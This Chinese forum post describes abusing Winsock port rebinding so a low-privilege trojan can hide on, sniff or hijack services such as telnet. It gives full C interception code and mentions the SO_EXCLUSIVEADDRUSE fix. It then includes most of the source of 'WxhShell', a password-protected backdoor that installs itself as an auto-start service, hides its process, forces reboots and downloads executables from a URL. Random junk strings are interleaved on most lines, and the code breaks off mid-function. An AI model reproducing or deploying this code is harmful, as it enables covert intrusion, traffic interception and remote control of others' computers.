社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 16930阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: /xX,   
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); *:fw6mnJ#  
F^%{ ;  
  saddr.sin_family = AF_INET; w@ gl  
`? 9] '  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z9 ;nC zHm  
%x cM_|AyR  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); zm;*:]S  
s +y'<88  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 (Fbm9(q$d  
} K+Q9<~u  
  这意味着什么?意味着可以进行如下的攻击: hJ$C%1;  
jm#F*F vL  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Q G=-LXv:@  
,q'gG`M N  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) eMpEFY  
g%fJyk'  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B $ y44  
R:pBbA7E  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  qH {8n`  
-Y 6.?z  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8JjU 9#  
^t/'dfF  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 `a/PIc"  
1drqWI~  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 WIH4Aw  
fY,@2VxyfA  
  #include OI]K_ m3  
  #include LS2ek*FJO  
  #include @ ^XkU(m  
  #include    ZH`K%h0  
  DWORD WINAPI ClientThread(LPVOID lpParam);   *`S)@'@:(  
  int main() 4}r\E,`*X  
  { AK*mcTr  
  WORD wVersionRequested; j]ln :?\  
  DWORD ret; "Dmw -  
  WSADATA wsaData; vP87{J*DE1  
  BOOL val; 0^)8*O9$  
  SOCKADDR_IN saddr; E{+c*sz  
  SOCKADDR_IN scaddr; 98b9%Z'2f  
  int err; Z)6nu)  
  SOCKET s; ZB_16&2Ow  
  SOCKET sc; **w*hd]  
  int caddsize; WO+?gu  
  HANDLE mt; #<WyId(  
  DWORD tid;   5u u2 _B_L  
  wVersionRequested = MAKEWORD( 2, 2 ); cciAMQhA  
  err = WSAStartup( wVersionRequested, &wsaData ); @3expC  
  if ( err != 0 ) { 5.C[)`_  
  printf("error!WSAStartup failed!\n"); P98X[0&  
  return -1; -UD~>s  
  } NZ%~n:/V#  
  saddr.sin_family = AF_INET; X,JWLS J  
   0,L$x*Nj5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 g qJEJ~  
Cr V2 V)|G  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ~\@<8@N2a6  
  saddr.sin_port = htons(23); \{+nXn  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ^*?B)D=,  
  { wE8a4.  
  printf("error!socket failed!\n"); /F8\%l+  
  return -1; xJF6l!`  
  } \$~oH3m&  
  val = TRUE; 0imqj7L  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 _'v }=:X  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) u=v%7c2Mx}  
  { qeK  
  printf("error!setsockopt failed!\n"); H>X>5_{}  
  return -1; Z.Y;[Y  
  } {KpH|i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; utm+\/  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 .' N O~  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 G &rYz  
2 Zjb/  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ,T21z}r  
  { !ovZ>,1  
  ret=GetLastError(); cJ(zidf_$  
  printf("error!bind failed!\n"); \dxW44sM  
  return -1; pD}VB6=  
  } .5[LQR  
  listen(s,2); 5(MZ%-~l  
  while(1) [;V1y`/K1  
  { Er)_[^) HG  
  caddsize = sizeof(scaddr); [nPzh Xs  
  //接受连接请求 FOUs= E[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); <*(UvOQuX  
  if(sc!=INVALID_SOCKET) oN6*WN tJ  
  { g%q?2Nv  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Qdx`c^4m  
  if(mt==NULL) }2!5#/^~  
  { 3EW f|6RI  
  printf("Thread Creat Failed!\n"); UN .[,%<s  
  break; D-+)M8bt  
  } @|UIV  
  } C+#;L+$Gi  
  CloseHandle(mt); kO`3ENN  
  } k.%W8C<Pa  
  closesocket(s); 1KIq$lG{ E  
  WSACleanup(); |>o0d~s  
  return 0; 6L6~IXL>  
  }   -JQg ~1  
  DWORD WINAPI ClientThread(LPVOID lpParam) )zLS,/pk^  
  { f w>Gx9  
  SOCKET ss = (SOCKET)lpParam; M_.,c Vk  
  SOCKET sc; }$k`[ivBx(  
  unsigned char buf[4096]; eze(>0\f  
  SOCKADDR_IN saddr; fe9& V2Uu  
  long num; t1{%FJ0F  
  DWORD val; Qpv}N*v^  
  DWORD ret; f$S QhK5`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 +8vzkfr3It  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   7Ae,|k  
  saddr.sin_family = AF_INET; >~wk  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 3f2Hjk7,d  
  saddr.sin_port = htons(23); }vxH)U6$q  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) (h>X:!  
  { sr($Bw  
  printf("error!socket failed!\n"); \`%Y-!H+v  
  return -1; ]gZ8b- 2O  
  } DEwtP  
  val = 100; -.Pu5et4  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Wo WM  
  { T# _n-b>  
  ret = GetLastError(); ]E8<;t)#  
  return -1; 6RT0\^X*:  
  } >\oJ&gdc  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) I&NpN~AU  
  { !%\To(r[  
  ret = GetLastError(); rs<&x(=Hv  
  return -1; \gzwsT2&  
  } Rd1ku=  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) hy&Hl  
  { [Fj#7VZK  
  printf("error!socket connect failed!\n"); B[_bJ *  
  closesocket(sc); [.Wt,zrE  
  closesocket(ss); 1 GHgwT  
  return -1; 0S5C7df  
  } M^JZ]W(  
  while(1) dVG UhXN6  
  { *=If1qZs  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 s riq(A  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 nh&<fnh  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 >dm._*M  
  num = recv(ss,buf,4096,0); '%RK KA  
  if(num>0) I~ ]mX;  
  send(sc,buf,num,0); MbFe1U]B  
  else if(num==0) #|_UA}Y  
  break; AW;) _|xM  
  num = recv(sc,buf,4096,0); F#bo4'&>@  
  if(num>0) 68GGS`&  
  send(ss,buf,num,0); ;pyJ O_R[  
  else if(num==0) "oXAIfU#T  
  break; XQY&4tK  
  } @] "9EW 0  
  closesocket(ss); lgqL)^8A  
  closesocket(sc); j}.J$RtW1f  
  return 0 ; `8.32@rUB.  
  } 42LXL*-4  
utl=O  
GGL4<P7  
========================================================== wfTv<WG,.E  
?uX6X'-  
下边附上一个代码,,WXhSHELL U9[A(  
ec[[OIO  
========================================================== /\$|D&e  
tKsM}+fq  
#include "stdafx.h" SF7b1jr  
g2>u]3&W  
#include <stdio.h> wJR i;fvi  
#include <string.h> H1j6.i}q  
#include <windows.h> vG_v89t!ex  
#include <winsock2.h> 0t[mhmSU,  
#include <winsvc.h> sr@XumT  
#include <urlmon.h> }_/h~D9-T#  
&c9Fw:f;  
#pragma comment (lib, "Ws2_32.lib") !=:MG#p  
#pragma comment (lib, "urlmon.lib") <H@!Xw;  
E1ob+h:`d  
#define MAX_USER   100 // 最大客户端连接数 $,zM99  
#define BUF_SOCK   200 // sock buffer O8N0]Mz  
#define KEY_BUFF   255 // 输入 buffer -xgmc-LGo  
h:;eh  
#define REBOOT     0   // 重启 3v>,c>b([  
#define SHUTDOWN   1   // 关机 _7"W\gn:9  
& O\!!1%  
#define DEF_PORT   5000 // 监听端口 ~(L+4]  
[K@!JY  
#define REG_LEN     16   // 注册表键长度 ~)IJE+e>}  
#define SVC_LEN     80   // NT服务名长度 WJ4UJdf'  
@%G"i:HZ&  
// 从dll定义API `/ReJj&~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); uWtS83i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 2pNJWYW"  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); "_@+/Iy.  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); _"bvT?|  
 KP-z  
// wxhshell配置信息 /D]r "-  
struct WSCFG { :9q^  
  int ws_port;         // 监听端口 UMW^0>Z!v  
  char ws_passstr[REG_LEN]; // 口令 $hp?5K M  
  int ws_autoins;       // 安装标记, 1=yes 0=no (IHBib "  
  char ws_regname[REG_LEN]; // 注册表键名 ]%8;c  
  char ws_svcname[REG_LEN]; // 服务名 ;U3Vows  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 *"sDaN0@R  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,vw`YKg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 gL"Q.ybA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #&KE_ n  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" )mVYqlU"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 >t2)Z|1  
rWpfAE)!  
}; #|h8u`  
g}r5ohqC#  
// default Wxhshell configuration 3^yWpSC  
struct WSCFG wscfg={DEF_PORT, Mf13@XEo  
    "xuhuanlingzhe", K2`WcEe  
    1, <U`Nb) &  
    "Wxhshell", tS|zf,7  
    "Wxhshell", ^l9 *h  
            "WxhShell Service", vm}.gQ  
    "Wrsky Windows CmdShell Service", 1V$B^/_  
    "Please Input Your Password: ", -"9)c^KVx  
  1, ']e4 !  
  "http://www.wrsky.com/wxhshell.exe", Xtnmh)'K~#  
  "Wxhshell.exe" 'z!#E!i  
    }; f|1FqL+T]  
bJ!f,a'/  
// 消息定义模块 {:OVBX  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [7w_.(f#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; &YP>" <  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; k\Tm?^L)  
char *msg_ws_ext="\n\rExit."; `9{C/qB  
char *msg_ws_end="\n\rQuit."; sc>)X{eb  
char *msg_ws_boot="\n\rReboot..."; u`,R0=<4  
char *msg_ws_poff="\n\rShutdown..."; A_U0HVx_  
char *msg_ws_down="\n\rSave to "; K :ptfD  
N ] /d  
char *msg_ws_err="\n\rErr!"; 3"D00~  
char *msg_ws_ok="\n\rOK!"; x+`3G.  
R:x04!}  
char ExeFile[MAX_PATH]; c}s3c >`d  
int nUser = 0; Xb 1^Oj  
HANDLE handles[MAX_USER]; ;K-t  
int OsIsNt; :S6 <v0`Z  
vJ}  
SERVICE_STATUS       serviceStatus; vz5 RS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Cms"OkN  
8^i,M^f^{  
// 函数声明 S9055`v5  
int Install(void); )X$n'E  
int Uninstall(void); ^q r[?ky]&  
int DownloadFile(char *sURL, SOCKET wsh); tO3B_zC  
int Boot(int flag); "z4E|s  
void HideProc(void); yE{UV>ry  
int GetOsVer(void); UpBYL?+L  
int Wxhshell(SOCKET wsl); RVy87_J1  
void TalkWithClient(void *cs); >&Lu0oHH  
int CmdShell(SOCKET sock); iPNs EQ0We  
int StartFromService(void); k rjd:*E  
int StartWxhshell(LPSTR lpCmdLine); baGI(Dk  
k-0e#"B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); o!0a8i  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); NH6!|T  
czi!q1<vg  
// 数据结构和表定义 <)rH8]V  
SERVICE_TABLE_ENTRY DispatchTable[] = s_kd@?=`x  
{ !gQ(1u|r  
{wscfg.ws_svcname, NTServiceMain}, hmk5 1  
{NULL, NULL}  :Xr3 3  
}; 74wa  
XaSl6CH  
// 自我安装 s7LX  
int Install(void) :PkSX*E[q  
{ T5G+^XDA  
  char svExeFile[MAX_PATH]; m':m`,c!  
  HKEY key; -8e tH&  
  strcpy(svExeFile,ExeFile); ueo3i1  
"+Rm4_  
// 如果是win9x系统,修改注册表设为自启动 9j9?;3;  
if(!OsIsNt) { C,.{y`s'  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { oD`BX  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Yy1Pipv  
  RegCloseKey(key); ||NCVGJG  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { C.p*mO&N  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); w=2 X[V}  
  RegCloseKey(key); w` :KexD+  
  return 0; (b!DJ;(O9  
    } ePdzQsnVe  
  } k Er7,c  
} :D-vE7  
else { 4}j}8y2)H  
5@5="lNjS  
// 如果是NT以上系统,安装为系统服务 N`fY%"5U>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Fd'L:A~  
if (schSCManager!=0) <h0ptCB  
{ 6h8NrjX  
  SC_HANDLE schService = CreateService VlvDodV  
  ( ypVr"fWB  
  schSCManager, e@Y R/I8my  
  wscfg.ws_svcname, ?Kf@/jv  
  wscfg.ws_svcdisp, aS 2 Y6  
  SERVICE_ALL_ACCESS, _: x$"i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , e&nw&9vo  
  SERVICE_AUTO_START, ),|bP`V  
  SERVICE_ERROR_NORMAL, IC~D?c0H:  
  svExeFile, ${3OQG  
  NULL, L.[2l Q  
  NULL, VtFh1FDI\  
  NULL, cMAfW3j: ;  
  NULL, &2^V<(19  
  NULL Sj+#yct-  
  ); cFQa~  
  if (schService!=0) *x!5I$~J  
  { I}x*AM 7+  
  CloseServiceHandle(schService); ) 'KHUa9  
  CloseServiceHandle(schSCManager); iqYc&}k,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 54&2SU$kx  
  strcat(svExeFile,wscfg.ws_svcname); f}4h}Cq  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { hG]20n2  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); E}+A)7mA  
  RegCloseKey(key); /@e\I0P^  
  return 0; I&0yUhn  
    } |n/id(R+  
  } CJ b ~~  
  CloseServiceHandle(schSCManager); cj)~7 WF  
} eS|p3jk;  
} -)GfSk   
>6j`ZWab>  
return 1; zQJbZ=5Bu"  
} b%F*Nr  
7 5u*ZMK  
// 自我卸载 !bg3  
int Uninstall(void) glpdYg *  
{ #.RI9B  
  HKEY key; &gfQZxT  
~x+w@4)a>  
if(!OsIsNt) { HN! l-z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ~ln,Cm} 4  
  RegDeleteValue(key,wscfg.ws_regname); ebchHnOd  
  RegCloseKey(key); b04~z&Xv  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { umeb&\:8S-  
  RegDeleteValue(key,wscfg.ws_regname); Oh: -Y]m=  
  RegCloseKey(key); %;S5_K,  
  return 0; gg9W7%t/  
  } }sZ]SE  
} -XBNtM_ "  
} l=yO]a\QZ  
else { ADDpm-]  
as8<c4:v  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 2},}R'aR  
if (schSCManager!=0) s_N!6$tS   
{ 0=iJT4IEJ  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); *`W82V  
  if (schService!=0) ZmDr$iU~  
  { f!yxS?j3  
  if(DeleteService(schService)!=0) { !p2&$s"N.  
  CloseServiceHandle(schService); n 8Fi?/  
  CloseServiceHandle(schSCManager); Jor?;qo3  
  return 0; STMcMm3  
  } %lxo?s@GE  
  CloseServiceHandle(schService); |(fWT}tg  
  } y? g7sLDc  
  CloseServiceHandle(schSCManager); E^!%m8--  
} mAMKCxz,  
} qJ !xhf1  
T&%>/7I>  
return 1; -T>`PJpJuL  
} Z.<B>MD8^  
MX34qJ9k  
// 从指定url下载文件 H>B:jJf  
int DownloadFile(char *sURL, SOCKET wsh) sXUM,h8$!+  
{ f &H` h  
  HRESULT hr; |@ + x9|'W  
char seps[]= "/"; :;EzvRy  
char *token; PHoW|K_e  
char *file; $8Zw<aEJ  
char myURL[MAX_PATH]; Jad'8}0J  
char myFILE[MAX_PATH]; 4PdFq*A  
0Z\fK>yw  
strcpy(myURL,sURL); BB-`=X~:m  
  token=strtok(myURL,seps); Qk6FK]buV  
  while(token!=NULL) x>Kem$z  
  { ~I'h iV^-  
    file=token; D_{J:Hb  
  token=strtok(NULL,seps); `CV a`%  
  } ,[x'S>N  
{974m` 5  
GetCurrentDirectory(MAX_PATH,myFILE); ~ rRIWfhb  
strcat(myFILE, "\\"); q+z,{K  
strcat(myFILE, file); #Rs7Ieu+  
  send(wsh,myFILE,strlen(myFILE),0); OG.`\G|  
send(wsh,"...",3,0); s=q}XIWK  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); k3Y>QN|q8  
  if(hr==S_OK) -Fb/GZt|  
return 0; y ^YrGz.  
else 4):\,>%pK  
return 1; Uc&0>_Z  
#M:W?&.  
} ^E9@L ??  
:Q%&:[2  
// 系统电源模块 mU*GcWbc+  
int Boot(int flag) ? in&/ZrB  
{ OAv/P|n=  
  HANDLE hToken; N%0Z> G  
  TOKEN_PRIVILEGES tkp; niFjsTA.Z  
0Y\u,\GrxW  
  if(OsIsNt) { .w0?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); DQ,QyV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Y$N|p{Z  
    tkp.PrivilegeCount = 1; 9:P)@UF  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6ik6JL$AI  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  9TeDLp  
if(flag==REBOOT) { 7Kn=[2J5k'  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 6A%Y/oU+2  
  return 0; '?QZ7A  
} i'a M#4V  
else { 9J<KR #M  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) /%.K`BMN  
  return 0; Y.-i;Mmu  
} c;j]/R$i  
  } [ML4<Eb+ x  
  else { ?)9 6YX'  
if(flag==REBOOT) { Dj[D|%9a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) M+Dkn3bx  
  return 0; mCg5-E~;  
} $XJe)  
else { 7n#0eska,  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) tJ 6:$dh  
  return 0; fd(>[RP?  
} *? c~7ru  
} zj8;ENhEI  
Y yI|^f8C  
return 1; BKN]DxJ6  
} %bddR;c  
&vLZj  
// win9x进程隐藏模块 Jg7IGU(dct  
void HideProc(void) ,Qp58u2V  
{ nwz}&nR  
1 }:k w  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hj-M #a  
  if ( hKernel != NULL ) E;%{hAD{  
  { 0O[q6!&]  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); #u#s'W  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Nz2}Ma 2  
    FreeLibrary(hKernel); F7mzBrz  
  } r&^4L  
~=}56yxl[  
return; '?#e$<uS-  
} 2f4*r^  
>b/Yg:t  
// 获取操作系统版本 <n0-zCf  
int GetOsVer(void) w2 CgEJ %  
{ K 5!k06;s  
  OSVERSIONINFO winfo; _c`Gxt%  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); +W-sb5)  
  GetVersionEx(&winfo); 64[j:t=N  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 7pkc*@t  
  return 1; n`CmbM@@  
  else D`Fl*Wc4H  
  return 0; u U\UULH0  
} Q5baY\"9^  
pS51fF9  
// 客户端句柄模块 tk~7>S  
int Wxhshell(SOCKET wsl) )5bhyzSZI  
{ R\6#J0&Y-  
  SOCKET wsh; .0Cpqn,[  
  struct sockaddr_in client; <TDgv%eg0  
  DWORD myID; ?eeE[F  
Pf]L`haGN  
  while(nUser<MAX_USER) 6=FF*"-6E  
{ aY6]NpT  
  int nSize=sizeof(client); V[CS{Hy'  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); he 9qWL&^G  
  if(wsh==INVALID_SOCKET) return 1; k4eV*e8  
Z#d_<e?  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); W)o-aX!P  
if(handles[nUser]==0) OfIml.  
  closesocket(wsh); %$S.4#G2  
else i |cSO2O+  
  nUser++; XYf;72*  
  } ?f:FmgQk  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); _^Rf*G!  
vfmKYiLp  
  return 0; E+csK*A7  
} . [*6W.X  
i yMIP~N,$  
// 关闭 socket ."cC^og  
void CloseIt(SOCKET wsh) ig3uY#  
{ 1NA>W   
closesocket(wsh); R /iB  
nUser--; ^+!!:J|ra  
ExitThread(0); ^?w6  
} F~z4T/TN%G  
9^>nZ6  
// 客户端请求句柄 `nn;E% n  
void TalkWithClient(void *cs) -&%#R_RV  
{ ,C!MHn^$  
a'W-&j  
  SOCKET wsh=(SOCKET)cs; -g_PJ.Hk  
  char pwd[SVC_LEN]; C {gYrz)  
  char cmd[KEY_BUFF]; Vtr 0=-m&  
char chr[1]; LBbk]I  
int i,j; x_AG=5OJX,  
{ +MqXeq  
  while (nUser < MAX_USER) { ,,lrF.  
PudwcP {  
if(wscfg.ws_passstr) { ,\xeNUZd  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8.F]&D0p8  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); cC b'z1  
  //ZeroMemory(pwd,KEY_BUFF); P]1`=-  
      i=0; 02SFFqm  
  while(i<SVC_LEN) { $D<LND=o=  
_L<IxOZh+  
  // 设置超时 FNtcI7  
  fd_set FdRead; 44]/rP_m  
  struct timeval TimeOut; 9^x'x@6  
  FD_ZERO(&FdRead); &qF   
  FD_SET(wsh,&FdRead); Q3'\Vj,S&  
  TimeOut.tv_sec=8; FlgK:=Fmj  
  TimeOut.tv_usec=0;  UcKpid  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); I~gU3(  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 7J.alV4`/  
vSX71  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); TlQu+w|  
  pwd=chr[0]; s^)wh v`C  
  if(chr[0]==0xd || chr[0]==0xa) { 5$`ihO?  
  pwd=0; 5W(G~m?jC6  
  break; ok  iI:  
  } {?$-p%CF`8  
  i++; Vd1.g{yPV  
    } ?1JS*LQ$  
DgGGrV`  
  // 如果是非法用户,关闭 socket now\-XrS  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); a}c.]zm]  
} @OV\raUO&V  
9Qst5n\Z  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); Kp!sn,:  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); DfXXN  
Rbm"Qz  
while(1) { ~kj1L@gy   
z|x0s0q?  
  ZeroMemory(cmd,KEY_BUFF); f4@>7K]9TA  
0V }knR.l  
      // 自动支持客户端 telnet标准   'x$>h)t]  
  j=0; >T'^&l(:  
  while(j<KEY_BUFF) { 2zZ" }Zr#  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @rB!47!  
  cmd[j]=chr[0]; oQ{(7.e7)  
  if(chr[0]==0xa || chr[0]==0xd) { 0sD"Hu  
  cmd[j]=0; [yF>W$Bn%  
  break; ep>*]'  
  } 7`9J.L&,;  
  j++; WyF1Fw  
    } /=).)<&|R  
}lvD 5  
  // 下载文件 G];5'd~C;d  
  if(strstr(cmd,"http://")) { 7Y"CeU-S  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); / q*n*j  
  if(DownloadFile(cmd,wsh)) UC"<5z lcu  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _l<e>zj  
  else 8!(4;fN$j.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9TuE.  
  } G|*^W;(Z  
  else { HN9!~G  
S:"R/EE(  
    switch(cmd[0]) { p(-f$Q(  
  IxNY%&* `  
  // 帮助 n}Pz:  
  case '?': { h&|q>M3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); @ )owj^sA  
    break; 2K0HN  
  } ]@wee08  
  // 安装 6`Zx\bPDm  
  case 'i': { ;5urIYd  
    if(Install()) xXp$Nm]:  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ckY,6e"6  
    else ( qG | .a  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); PQ9.aJdw@-  
    break; p~1!O]qLt  
    } + KGZk?%  
  // 卸载 #+I)<a7\  
  case 'r': { ]k &Y )  
    if(Uninstall()) "ph&hd}S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5v<X-8"  
    else ;<i`6e  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c'ExZ)RJ  
    break; J\VG/)E  
    } ^LO=&Cq  
  // 显示 wxhshell 所在路径 {y-7xg~}  
  case 'p': { ~?T*D*  
    char svExeFile[MAX_PATH]; #z$FxZT<b  
    strcpy(svExeFile,"\n\r"); +0lvQVdp}  
      strcat(svExeFile,ExeFile); x=7hOI5u  
        send(wsh,svExeFile,strlen(svExeFile),0); >*rH Nf  
    break; [ }-CXB  
    } oNH&VHjU  
  // 重启 !#s1'x{o  
  case 'b': { iU]py  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); s wgn( -  
    if(Boot(REBOOT)) G$FNofQx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t 1gH9  
    else { \i%h/Ao  
